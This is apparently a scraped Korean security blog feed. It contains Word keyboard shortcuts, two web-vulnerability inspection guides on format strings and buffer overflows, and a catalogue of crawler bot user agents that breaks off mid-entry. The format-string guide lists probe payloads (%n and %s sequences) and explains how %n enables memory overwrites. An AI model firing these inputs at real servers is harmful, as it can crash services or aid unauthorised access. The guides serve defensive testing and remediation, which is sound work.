- 작업 반복(redo) Ctrl + Y
- 블록 설정 Shift + 화살표 줄의 처음까지
- 블록 설정 Shift + Home
- 줄의 끝까지 블록 설정 Shift + End
- 잘라내기 Ctrl + X
- 복사 Ctrl + C
- 붙여넣기 Ctrl + V
- 지우기 Del
- 모두 선택 Ctrl + A
- 찾기 Ctrl + F
- 바꾸기 Ctrl + H
- 이동 F5
- 다음 페이지로 이동 Ctrl + Page Down
- 이전 페이지로 이동 Ctrl + Page Up
- 보기 기본 모양 보기 Ctrl + Alt + N
- 개요 모양 보기 Ctrl + Alt + 0
- 인쇄 모양 보기 Ctrl + Alt + P
- 삽입 책갈피 넣기 Ctrl +Shift + F5
- 메모 넣기 Alt + Ctrl + M
- 페이지 나누기 Ctrl + Enter
- 단 나누기 Ctrl + Shift + Enter
- 미주 넣기 Alt + Ctrl + D
- 각주 넣기 Alt + Ctrl + F
- 페이지 필드 넣기 Alt + Shift + P
- 시간 필드 넣기 Alt + Shift + T
- 필드 업데이트하기 F9
- 상용구 만들기 Alt + F3
- 서식 글꼴 대화상자 Ctrl + D
- 글꼴 바꾸기(toolbar에서) Ctrl + Shift +F 하고 Arrowkey
- 글꼴 크기 바꾸기(toolbar에서) Ctrl + Shift + P 하고 Arrowkey
- 스타일 바꾸기(toolbar에서) Ctrl + Shift + S 하고 Arrowkey
- 글머리꼴 넣기 Ctrl + Shift + L
- 문장 첫글자 들여쓰기 Ctrl + T
- 문장 첫글자 내어쓰기 Ctrl + Shift +T
- 소문자를 작은 대문자로 Ctrl + Shift + K
- 표준 스타일 적용 Ctrl + Shift + N
- 제목 1 스타일 적용 Alt + Ctrl + 1
- 제목 2 스타일 적용 Alt + Ctrl + 2
- 제목 3 스타일 적용 Alt + Ctrl + 3
- 도구 한글 한자 변환 Hanja key 또는 Alt + Shift + F7
- 매크로 Alt + F8
- 영어 동의어 사전 Shift + F7
- 다음 맞춤법이 틀리는 단어 찾기 Alt + F7
- 표셀 이동 Tab
- 셀 블록 설정 Shfit + 화살표
- 커서가 놓인 줄의 맨위 셀로 Alt + Page Up
- 커서가 놓인 줄의 맨아래 셀로 Alt + Page Down
- 커서가 놓인 줄의 맨 앞의 셀로 Alt + Home
- 커서가 놓인 줄의 맨뒤 셀로 Alt + End
- 셀 안의 내용 지우기 셀 선택후 Del
- 창 워드를 전체화면으로 늘리기 Alt + F10
- 문서를 전체화면으로 늘리기 Alt + F5
- 창 분할 Alt + Ctrl + S
- 도움말 Help F1
- 설명(?) Shift + F1
- 다음 창 띄우기 Ctrl + F6 또는 Alt + Tab

[V-VA] 02. 포맷 스트링 - 웹 취약점 분석 및 점검 방법(Format String - Web Vulnerability Analysis and Inspection Method)

SecuIT — Fri, 10 Jul 2020 16:30:39 +0900

Intro

*해당 내용은 웹 취약점 분석 및 점검 방법입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

포맷 스트링(format string)이란?
일반적으로 사용로부터 입력을 받아들이거나 결과를 출력하기 위하여 사용하는 형식이며, 포맷스트링을 사용하는 함수에 대해 형식이나 형태를 지정해주는 문자열을 의미한다. printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다.

포맷 스트링 그림

노란색의 정의된 공간에 'ABCD'가 들어있다고 정의한다. 'ABCD'가 들어있는 공간은 4라고 가정했을 때, 'abcde'인 데이터 크기 5인 값을 넣는다면 정상적으로는 오류가 일어나야한다. 하지만 노란색 공간 이외의 인접한 다른 공간(EFGH)에 덮어씌워지며, 해당 공간의 값을 변조(eFGH)시키고 있다.

취약점 점검

취약점 개요

점검내용	- 웹페이지 내 포맷스트링 취약점 존재 여부 점검
점검목적	- 포맷스트링 버그로 인한 위험으로부터 예방하기 위한 웹페이지 내 적절한 입력 값 검증 로직을 탑재하기 위함
보안위협	- C언어로 만드는 프로그램 중 변수의 값을 출력하거나 입력받을 때, 입력받은 값을 조작하여 프로그램의 메모리 위치를 반환받아 메모리 주소를 변조하여 시스템의 관리자 권한을 획득할 수 있음

기호 정리

%d	정수형 10진수 상수
%f	실수형 상수
%lf	실수형 상수
%c	문자값
%s	문자 스트링
%u	양의 정수(10진수)
%o	양의 정수(8진수)
%x	양의 정수(16진수)
%n	쓰인 총 바이트 수

'%n'은 이전까지 입력되었던 문자열의 길이(byte) 수만큼 해당 변수에 저장시키기 때문에 메모리의 내용도 변조 가능하다. 이를 이용해 문자열의 길이를 내가 변조시키고 싶은 값의 길이만큼 만든 후 '%n'을 써주게 되면 메모리상에 내가 원하는 값을 넣을 수 있게 된다.

점검대상 및 판단기준

대상	- Web Server, 소스코드
판단기준	양호 : 임의의 문자열 입력에 대한 검증이 이루어지는 경우
판단기준	취약 : 임의의 문자열 입력에 대한 검증이 이루어지지 않으며, 오류가 발생하는 경우
조치방법	- 웹 서버 응용프로그램(Apache, Tomcat, IS 등)을 최신 버전으로 패치하고 임의의 문자열 입력에 대한 검증 로직 구현

점검 및 조치 사례

웹 사이트 인수 값에 아래와 같은 패턴 입력 후 전송하여 반환된 페이지가 다른 인수 값을 입력했을 때는 발생하지 않는 에러 반응이나 멈추는 등 이상반응을 보이는지 확인

패턴1	- %n%n%n%n%n%n%n%n%n%n,
패턴2	- %s%s%s%s%s%s%s%s%s%s,
패턴3	- %1!n!%2!n!%3!n!%4!n!%5!n!%6!n!%7!n!%8!n!% 9!n!%10!n!
패턴4	- %1!s!%2!s!%3!s!%4!s!%5!s!%6!s!%7!s!%8!s!%9!s!%10!s!

인수 값에 패턴을 기입하여 검증

점검에 대한 보안 설정방법

1. 컴파일러에서는 문자열 입력 포맷에 대한 자체적인 검사를 내장하고 있으므로 문자열 입력 포맷 검증 후 소스 코드에 적용

[*GCC에서는 문자열 입력 포맷과 실제 입력이 맞지 않는 경우에 대해 경고 옵션 존재하지만, 이 방식은 컴파일 시간에 문제를 발견할 수 있는 경우에 한해 검증 가능함.

런타임 상황에서는 퍼지 테스트를 이용하여 프로그램의 입력 값으로 임의의 값을 넣어서 프로그램을 예외 상황으로 빠뜨리는 경우가 있으므로 이러한 경우에 버그가 없는지 확인이 필요함]

2. 웹 서버 응용프로그램(Apache, Tomcat, IS 등)의 최신 보안패치 적용

3. 웹사이트 인수 값 처리 중에 발생할 경우 사용자가 입력하는 인수 값의 유효성에 대한 검증 로직을 구현

참고 사항

ko.wikipedia.org/

위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 위키백과 우리 모두가 만들어가는 자유 백과사전문서 504,523개와 2,496명의 최근 기여자 사랑방 다른 분들과 의견을 교환해봐요!

ko.wikipedia.org

wiki.hash.kr/

해시넷

해시넷 코인위키 사이트는 블록체인 및 암호화폐 관련 위키백과사전을 지향합니다. 해시넷 코인위키는 여러 사용자들의 집단지성을 모아 위키(wiki) 방식으로 운영됩니다. 누구나 자유롭게 해시

wiki.hash.kr

www.kisa.or.kr/

한국인터넷진흥원(KISA)

한국인터넷진흥원 기관 소개, 인터넷 산업경쟁력 강화, 개인정보보호, 정보보호 산업 지원, 사이버침해 대응, 관련 규정 제공

www.kisa.or.kr

[V-VA] 01. 버퍼 오버플로우 - 웹 취약점 분석 및 점검 방법(Buffer Overflow - Web Vulnerability Analysis and Inspection Method)

SecuIT — Fri, 10 Jul 2020 15:38:57 +0900

Intro

*해당 내용은 웹 취약점 분석 및 점검 방법입니다.
*반드시 연습용으로 제공된 환경에서만 작업하는 것을 권고 드리며, 악용으로 일어난 사태에 대해서는 절대로 책임지지 않습니다.

버퍼 오버플로(buffer overflow)란?

버퍼 오버플로(buffer overflow) 또는 버퍼 오버런(buffer overrun)은 메모리를 다루는 데에 오류가 발생하여, 잘못된 동작을 하는 프로그램 취약점이며, 컴퓨터 보안과 프로그래밍에서는 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것을 의미합니다.

예를 들어, 퍼버란 물컵이 있고 물이 데이터라 하였을 때, 컵의 공간에 맞지않는 물이 넘친다면 오류가 발생하게 됩니다. 벗어난 데이터는 인접 메모리를 덮어 쓰게 되며 이때 다른 데이터가 포함되어 있을 수도 있는데, 손상을 받을 수 있는 데이터는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함됩니다.

이로 인해 잘못된 프로그램 거동이 나타날 수 있으며, 메모리 접근 오류, 잘못된 결과, 프로그램 종료, 또는 시스템 보안 누설이 발생할 수 있습니다.

취약점 점검

취약점 개요

점검내용	- 파라미터 입력 값에 대한 적절성 점검 여부 진단
점검목적	- 어플리케이션에서 파라미터 입력 값에 대한 적절성을 점검하여 비정상적 오류 발생을 차단하기 위함
보안위협	- 어플리케이션 입력 값의 크기에 대한 적절성이 검증되지 않을 경우 개발 시에 할당된 저장 공간보다 더 큰 값의 입력이 가능하고 이로 인한 오류 발생으로 의도되지 않은 정보 노출, 프로그램에 대한 비 인가된 접근 및 사용 등이 발생할 수 있음.

점검 대상 및 판단기준

대상	- 소스코드
판단기준	양호 : 파라미터 입력 값에 대량의 인수 값 전달 시 에러 페이지나 오류가 발생되지 않는 경우
판단기준	취약 : 파라미터 입력 값에 대한 검증이 이루어지지 않고 에러 페이지나 오류가 발 생하는 경우
조치방법	- 외부 파라미터 입력 값을 할당하여 사용하는 경우 변수에 입력된 입력 값 범위를 검사하여 외부 파라미터 입력 값이 허용 범위를 벗어나는 경우 에러 페이지가 반환 되지 않도록 조치

점검 및 조치 사례

1. 로그인 창에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검합니다.

로그인 페이지 점검

2. 회원정보 변경 창에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검합니다.

회원정보 및 가입 페이지 점검

3. 사이트 검색란에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검

게시판 페이지 검색 점검

4. 게시물 작성 시 허용된 문자보다 많은 인수 값을 입력하여 에러 페이지나 오류가 발생하는지 점검

게시판 글쓰기 페이지 점검

5. 웹 어플리케이션에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검

게시물 페이지 파라미터 점검

점검에 대한 보안 설정방법

1. 웹 서버, WAS 서버 애플리케이션 버전을 안정성이 검증된 최신 버전으로 패치

2. 웹 애플리케이션에 전달되는 인수 값을 필요한 크기만큼만 받을 수 있도록 변경하고 범위 를 벗어난 인수 값이 전달될 경우 에러 페이지를 반환하지 않도록 설정

3. 동적 메모리 할당을 위해 크기를 사용하는 경우 그 값이 음수가 아닌지 검사하여 버퍼 오버플로우를 예방하는 형태로 소스 코드 변경

4. 버퍼 오버플로우를 점검하는 웹 스캐닝 툴을 이용하여 주기적으로 점검

참고 사항

ko.wikipedia.org/

위키백과, 우리 모두의 백과사전

ko.wikipedia.org

www.cs.fsu.edu/

Computer Science, FSU

Jun 7, 2020 Mustakimur R. Khandaker, a recent Ph.D. graduate advised by Dr. Zhi Wang, will join the Department of Computer Science at the University of Georgia as a Tenure-track Assistant Professor. Mustakimur’s research focuses on system and software se

www.cs.fsu.edu

www.kisa.or.kr/

한국인터넷진흥원(KISA)

한국인터넷진흥원 기관 소개, 인터넷 산업경쟁력 강화, 개인정보보호, 정보보호 산업 지원, 사이버침해 대응, 관련 규정 제공

www.kisa.or.kr

[U-Information] 02. 봇의 목적과 종류[robots.txt] - 좋은 봇, 나쁜 봇 (Bots Overview, Types-Good Bots, Bad Bots)

SecuIT — Tue, 7 Jul 2020 15:17:21 +0900

봇의 목적

https://www.indiatoday.in/

봇(Bot)이란?

인터넷 봇(Internet bot), 웹 로봇(web robot), WWW 로봇(WWW robot), 단순히 봇(bot)은 인터넷 상에서 자동화된 작업(스크립트)을 실행하는 응용 소프트웨어입니다. 봇은 인간이 하는 행동을 흉내 내도록 만들어지며, 검색엔진의 웹 크롤러는 웹 사이트 정보를 자동으로 읽어들여 저장하는 프로그램입니다.

이외에도 인터넷 채팅에서 자동 응답을 하도록 만든 채터 봇 프로그램 등이 있으며, 각 서버는 봇이 따를 서버 규칙이 포함된 robots.txt라는 이름의 파일을 소유하고 있습니다. 일부 봇들은 악의적인 목적으로도 이용되기 하며, 자기 복제 기능을 가지기도 합니다.

봇의 종류

1Noonbot

1 Noonbot이란?

첫눈(http://www.1noon.com)의 스노우랭크 검색 기술이 기반이 된 봇으로써, 어느 날부터 '예티(Yeti/0.01 nhn/1noon, yetibot@naver.com, check robots.txt daily and follow it)'라는 이름으로 일부 국내 한글 홈페이지들에게 매일 수십~수백차례씩 방문하고 있는 것으로 탐지되었습니다.

그리고 크롤러의 IP 주소는 61.247.219.41 ~ 50 등으로 다양하였고, 상당한 수의 검색 로봇이 국내 웹사이트를 동시에 훑고 있는 것으로 파악되었습니다. '첫눈(1noon)'이라는 명칭의 로봇 제작자 nhn과 '설인(雪人)'을 뜻하는 'Yeti'를 로봇 명으로 사용했다는 점에서 봇의 성능을 실험하고 검토하기 위함이라, 추측되고 있습니다.

Name:	1Noonbot
URL:	http://www.1nooncorp.com
User Agent Key:	1Noonbot
User Agents:	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; 1Noonbot 1.0 mailto:sc_1noonbot@1nooncorp.com)

360Spider

http://so.360.cn/index.htm

360Spider란?

중국의 검색 엔진인 치후 360(Qihoo 360, 奇虎 360, Qihoo 360 Technology Co. Ltd.)의 봇 중 하나이다. 치후 360은 바이러스 검사 소프트웨어(360 세이프가드, 360 모바일 세이프), 웹 브라우저 (360 브라우저), 모바일 애플리케이션 스토어 (360 모바일 어시스턴스)로 알려져 있는 중국의 인터넷 보안 회사입니다.

2005년 6월에 Zhou Hongyi와 Qi Xiangdong에 의해 설립되었으며, 인터넷 보안 제품들의 경우 496,000,000 여명의 사용자들을 보유하고 있으며 모바일 안티바이러스 제품들의 경우 641,000,000 여명의 사용자를 보유하고 있습니다.

Name:	360Spider
URL:
User Agent Key:	360Spider
User Agents:	Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Firefox/1.5.0.11; 360Spider

Similarity

- 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html)

- 360Spider-Image
- 360Spider-Video

- MediavBot/1.0 (+http://www.mediav.com/)

Google-Bot

구글봇(Googlebot)이란?
구글이 사용하는 검색 봇 소프트웨어이며, 웹으로부터 문서를 수집하여 구글 검색 엔진을 위한 검색 가능한 색인을 만들기 위해 사용됩니다. 구글의 봇의 이름은 실제로 각기 다른 두 종류의 웹 크롤러를 가리키기 위해 사용되며 크게 두 가지로 나뉩니다.
- 데스크톱 크롤러(데스크톱 사용자를 시뮬레이트하기 위함)
- 모바일 크롤러(모바일 사용자를 시뮬레이트하기 위함)

Name:	Googlebot
URL:	http://www.googlebot.com/bot.html
User Agent Key:	Googlebot
User Agents:	Googlebot/1.0 (googlebot@googlebot.com http://googlebot.com/) Googlebot/2.1 (+http://www.googlebot.com/bot.html) Googlebot/Test Googlebot/Test (+http://www.googlebot.com/bot.html) Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Googlebot

Similarity

- Googlebot-Image
- GoogleDocs
- GoogleEarth
- Googlegod
- Google-HTTP-Java-Client
- Google-Read-Aloud
- Google-Sitemaps

- Mediapartners-Google

AhrefsBot

https://ahrefs.com/

에이치랩스(Ahrefs)란?

에이치랩스는 사이트 노출 개선을 돕는 SEO 툴을 제공하며 사이트 마케팅을 도와주는 회사입니다. 해당 툴은 검색엔진 최적화와 웹 사이트를 분석, 소셜 미디어를 추적, 백 링크 구축 등 여러가지의 강력한 기능들이 있습니다. 웹 데이터 수집을 목적으로 크롤링을 하기위해 에이치랩스봇(AhrefsBot)을 사용합니다.

Name:	AhrefsBot
URL:	http://ahrefs.com/robot/
User Agent Key:	AhrefsBot/
User Agents:	Mozilla/5.0 (compatible; AhrefsBot/1.0; +http://ahrefs.com/robot/) Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)

Similarity

- AhrefsBot/5.0
- AhrefsBot/5.1

- Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)
- Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)

NaverBot

https://www.naver.com

네이버(Naver)란?
대한민국의 포털 사이트이며, 1997년 2월 26일 이해진, 권혁일, 김보경, 구창진, 오승환, 최재영, 강석호 등으로 구성된 삼성SDS의 사내 벤처에서 '웹글라이더'라는 이름으로 시작해 1998년 1월에 분리된 네이버컴 주식회사에서 운영하다가 2000년 자회사인 한게임과 합병하여 NHN이 된 후 재분리하여 현재는 (주)네이버에서 운영되고 있는 회사입니다.

Name:	Yeti
URL:	http://www.1noon.com/
User Agent Key:	Yeti
User Agents:	Yeti/1.1 (NHN Corp.; http://help.naver.com/robots/) Yeti/1.1 (Naver Corp.; http://help.naver.com/robots/) Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/bot) Mozilla/5.0 (compatible; Yeti/1.1; +http://help.naver.com/support/robots.html) Yeti Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follows it) Yeti/0.01 (nhn/1noon, yetibot@naver.com, check robots.txt daily and follow it) Yeti/1.0 (+http://help.naver.com/robots/) Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/) Mozilla/5.0 (compatible; Yeti/1.0; NHN Corp.; http://help.naver.com/robots/) Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)

Similarity

- Mozilla/5.0 (compatible; AdsBot-Naver/1.0; +http://searchad.naver.com)

BaiduSpider

바이두(Baidu)란?

중국 최대 검색엔진 사이트인 바이두는 하루 60억건 이상의 검색과, 중국 인터넷시장 85%가 넘는 점유율을 갖고 있습니다. 미국하면 구글, 한국하면 네이버, 중국하면 바이두라 할 수 있습니다.

근래에 들어서는 한국 사람들도 바이두를 많이 찾고있는 추세인데, 그 이유는 바이두의 클라우드가 대표적이며, 무려 2TB(2048G)의 용량을 제공하기 때문입니다. BaiduSpider는 Baidu의 검색가능한 색인을 만들기 위해서 사용되는 웹 크롤링 봇입니다.

Name:	Baiduspider
URL:	http://www.baidu.com/search/spider.htm
User Agent Key:	Baiduspider
User Agents:	Baiduspider+(+http://www.baidu.com/search/spider.htm) Baiduspider+(+http://www.baidu.com/search/spider_jp.html) Baiduspider+(+http://help.baidu.jp/system/05.html) Baiduspider+(+http://www.baidu.jp/spider/) Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html) Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Baiduspider+ (http://www.baidu.com/search/spider.htm)

Similarity

- Baiduspider-image
- Baiduspider-news
- Baiduspider-video

ZumBot

줌(Zum)이란?

줌(zum)은 이스트소프트의 계열사인 줌인터넷이 운영하는 포털 사이트입니다.

2011년 8월 4일부터 베타 서비스를 시작하여 2011년 9월 21일에 공개 서비스로 전환하여 현재까지 잘 운영되고 있으며, 여러 포털사이트로 쉽게 진입할 수 있는 링크가 있는 것이 특징입니다. 줌봇(Zumbot)은 줌인터넷에서 웹 크롤링을 목적으로 이용되는 봇입니다.

Name:	ZumBot
URL:	http://help.zum.com/inquiry
User Agent Key:	ZumBot/
User Agents:	ZumBot/1.0 (ZUM Search; http://help.zum.com/inquiry) [('User-agent', 'Mozilla/5.0 (compatible; ZumBot/1.0; http://help.zum.com/inquiry)')] Mozilla/5.0 (compatible; ZumBot/1.0; http://help.zum.com/inquiry) Mozilla/5.0 (Windows NT 10.0; ZumBot/1.0; http://help.zum.com/;WOW64;Trident/7.0;rv:11.0) Chrome/50.0.2661.94 (KHTML, like Gecko) Mozilla/5.0 (compatible; Windows NT 6.1?; ZumBot/1.0; http://help.zum.com/inquiry)

Mail.RU_Bot

메일루(Mail.RU)란?

메일루는 러시아 최대 규모의 인터넷 회사이며, 1998년 이메일 서비스를 시작으로 2013년에는 Mail.ru가 소유한 웹 사이트가 러시아에서 가장 많은 잠재 고객을 확보하는 쾌거를 이루었습니다.

그리고 더 나아가 2010년 11월 런던증권거래소(LSE)에 상장했고 현재는 러시아를 대표하는 게임 퍼블리싱 회사이자, 인터넷 트래픽의 상당수를 확보한 종합 인터넷 회사로 성장했습니다. 메일루봇(Mail.Ru_Bot)은 웹 크롤링을 목적으로 이용되는 봇 중 하나입니다.

Name:	Mail.RU_Bot
URL:	http://go.mail.ru/help/robots
User Agent Key:	Mail.RU_Bot
User Agents:	Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Robots/2.0; +http://go.mail.ru/help/robots) Mozilla/5.0 (compatible; Mail.RU_Bot/2.0) Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots) Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Img/2.0; +http://go.mail.ru/help/robots)

*fell for bad bot trap - 악성봇으로 추정 됨

RogerBot

https://moz.com/

모즈(Moz)란?
Moz는 시애틀에 본사를 둔 SaaS (Software as a Service) 회사로써, 인바운드 마케팅 및 마케팅 분석 소프트웨어 판매를 주력으로 합니다. 2004년 Rand Fishkin과 Gillian Muessig가 컨설팅 회사로 설립하여 2008년 SEO 소프트웨어 개발로 전환했습니다.

전 세계 100만명 이상의 디지털 마케팅 담당자와 마케팅 관련 도구로 구성된 온라인 커뮤니티를 포함하는 웹 사이트를 호스팅하고 있으며, 검색 엔진에서의 위치와 순위를 개선하는 방법을 더 잘 파악할 수 있도록 키워드 연구, 링크 작성, 사이트 감사 및 페이지 최적화 정보를 포함하는 SEO 도구를 제공합니다. 로저봇(RogerBot)은 Moz의 크롤링을 위한 봇 중 하나입니다.

Name:	rogerbot
URL:	http://moz.com/help/pro/what-is-rogerbot
User Agent Key:	rogerbot/
User Agents:	rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-crawler+shiny@moz.com) rogerbot/1.0 (http://www.seomoz.org/dp/rogerbot, rogerbot-crawler+shiny@seomoz.org) rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, rogerbot-wherecat@moz.com) rogerbot/1.1 (http://moz.com/help/guides/search-overview/crawl-diagnostics#more-help, rogerbot-crawler+pr4-crawler-15@moz.com)

Similarity

- Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

*fell for bad bot trap - 악성봇으로 추정 됨

Yahoo! ,Bingbot

Yahoo! Bing Network란?
야후와 빙 그리고 그외 파트너 사이트들로 이루어진 검색광고 네트워크라 할 수 있으며, 2009년 야후와 마이크로소프트가 검색 관련 서비스에 대해 파트너쉽을 맺은 이래로 두 회사의 검색광고 서비스를 대표하는 명칭은 따로 없었기에, 이번 리브랜드 과정에서 새롭게 Yahoo! Bing Network라는 공식 명칭을 만들었습니다. Yahoo! surp와 Bigbot은 웹 크롤링을 위해 이용되는 봇들 중 하나입니다.

Name:	Yahoo Slurp
URL:
User Agent Key:	Yahoo! Slurp
User Agents:	Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)

Name:	Yahoo Pipes
URL:	http://developer.yahoo.com/yql/provider
User Agent Key:	Yahoo Pipes
User Agents:	Yahoo Pipes 1.0 Mozilla/5.0 (compatible; Yahoo Pipes 2.0; +http://developer.yahoo.com/yql/provider) Gecko/20090729 Firefox/3.5.2

Name:	bingbot
URL:	http://www.bing.com/bingbot.htm
User Agent Key:	bingbot/
User Agents:	Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Mozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)

Similarity

- yahoo-blog
- Yahoo-MMCrawler
- Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)

- BusinessBot: Nathan@lead-caddy.com

archive.org_bot

WayBackMachine란?

archive.org로도 잘 알려진 인터넷 아카이브(Internet Archive)는 누구나 쉽게 접근할 수 있는 자유로운 온라인 디지털 도서관을 구축해 유지하고 있는 비영리 단체로, 사무실은 샌프란시스코의 프레시디오(Presidio)에, 데이터 센터는 샌프란시스코를 포함해 레드우드 시티, 마운틴 뷰에 위치해 있습니다.

데이터 센터에서는 웹 페이지, 소프트웨어, 영화, 책, 녹취물을 저장하고 있다. 안정성을 고려해 이집트 알렉산드리아 도서관에 미러가 있다. archive.org_bot은 WayBackMachine의 웹 크롤링을 위한 봇입니다.

Name:	Archive.org
URL:	http://www.archive.org
User Agent Key:	archive.org
User Agents:	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; +http://www.archive.org) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 +http://www.archive.org/ Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Mozilla/5.0 (compatible; archive.org_bot; Archive-It; +http://archive-it.org/files/site-owners.html) Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)

BLEXBot

BLEXBot이란?

WebMeUp이라는 SEO 소프트웨어 제품을 판매하는 회사의 웹 크롤링을 위해 만들어진 봇입니다. 검색 엔진 최적화, 웹 사이트 프로모션 도구, 검색 엔진 최적화 도구, SEO 소프트웨어, 온라인 SEO 소프트웨어 등의 서비스를 지원합니다.

Name:	BLEXBot
URL:	http://webmeup-crawler.com/
User Agent Key:	BLEXBot/
User Agents:	Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup.com/crawler.html) Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)

*fell for bad bot trap - 악성봇으로 추정 됨

BDCbot

BDCbot이란?

2013년부터 서비스를 시작한 빅데이터 회사입니다. 데이터 캡쳐 프로세스를 통해 브라질과 라틴 아메리카의 빅데이터 시장을 주도하였으며, 10억 개가 넘는 웹 사이트와 수만 개의 공개 데이터베이스에서 정보를 수집하고 구성하고 있습니다. 전문분야로는 빅 데이터, 데이터, 정보, 데이터 검증, 사기 예방, 시장 모니터링, 제품 모니터링이 있고 웹 크롤링을 위해 BDCbot이 만들어졌습니다.

Name:	BDCbot
URL:	http://ecommerce.bigdatacorp.com.br/faq.aspx
User Agent Key:	BDCbot/
User Agents:	Mozilla/5.0 (Windows NT 6.1; compatible; BDCbot/1.0; +http://ecommerce.bigdatacorp.com.br/faq.aspx) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1

facebookexternalhit

Facebook이란?

페이스북(Facebook)은 미국 캘리포니아주 멘로파크에 본사를 둔, 소셜 네트워크 서비스이다. 2004년 2월 4일에 마크 주커버그(영어: Mark Zuckerberg)가 하버드대 동문이자 룸메이트인 사람들과 함께 웹사이트를 개설하였습니다.

2018년 8월 기준으로, 월 실 사용자(Monthly Active Users)의 수가 무려 22억 명에 달했다. 해당 수치는 전 세계 인구 3명 가운데 한 사람이 페이스북을 하는 것이다. facebookexternalhit는 웹 크롤링에 쓰이는 봇의 종류 중 하나입니다.

Name:	facebookexternalhit
URL:	http://www.facebook.com/externalhit_uatext.php
User Agent Key:	facebookexternalhit
User Agents:	facebookexternalhit/1.0 (+http://www.facebook.com/externalhit_uatext.php) facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) bandscraper ( facebookexternalhit/1.1 )

Uptimebot

UptimeRobot이란?

사용자가 웹 사이트 / 서버의 다운 타임을인지하고 그 성능을 추적 할 수 있도록하는 가동 시간 모니터링 서비스를 제공하는 회사이며, 서로 다른 서버에서 인터넷 연결 및 서비스를 모니터링 할 수 있습니다.

공개 IP 주소, 도메인 또는 동적 DNS 만 표시한 다음 ping, HTTP / HTTPS, 키워드 및 확인과 같은 모니터링 유형을 선택할 수 있고 포트 (서비스가 라우터에서 올바르게 열려있는 것처럼 작동하는 경우) 경고가있는 경우 이메일, SMS, 음성 통화, webhook, 트위터, 텔레그램, Google 행 아웃 등의 통신 방법으로 알려줍니다. Uptimebot은 모니터링에 필요한 데이터를 크롤링하기 위해 만들어진 봇입니다.

Name:	UptimeBot
URL:	http://www.uptimebot.com
User Agent Key:	UptimeBot
User Agents:	Mozilla/5.0 (compatible; Uptimebot/1.0; +http://www.uptime.com/uptimebot)

Similarity

- Uptimebot/0.1.73
- Uptimebot/0.2.42
- Uptimebot/0.2.43

CheckMarkNetwork

CheckMarkNetwork란?

CheckMark Network는 전체 상표 모니터링 서비스 (전 세계 및 미국 특정) 및 온라인 브랜드 보호 서비스 (도메인 이름 모니터링, 소셜 미디어, 로고, 마켓 플레이스 및 모바일 앱 포함)를 제공하며, 25년 이상의 상표 경험을 보유한 변호사에 의해 설립되어, 최신 기술을 전문가 분석과 합병하여 우수한 브랜드 보호 서비스를 제공하는 지적 재산권 전문가에게 제공하는 회사입니다.

전문분야로 상표 모니터링, 도메인 이름 모니터링, 인터넷 콘텐츠 시계, 소셜 미디어 모니터링, 모바일 앱 모니터링, 웹 페이지 변경 시계, 마켓 플레이스 시계, 온라인 로고 시계, 특허 알림, 딥 러닝 기술, 이미지 모니터링, 전자 상거래 모니터링 등이 있으며, 모니터링에 필요한 데이터 수집을 위해 CheckMarkNetwork 봇이 생산되었습니다.

Name:	CheckMarkNetwork
URL:	http://www.checkmarknetwork.com/spider.html
User Agent Key:	CheckMarkNetwork/
User Agents:	CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)

Contacts-Crawler

ScrapingHub란?

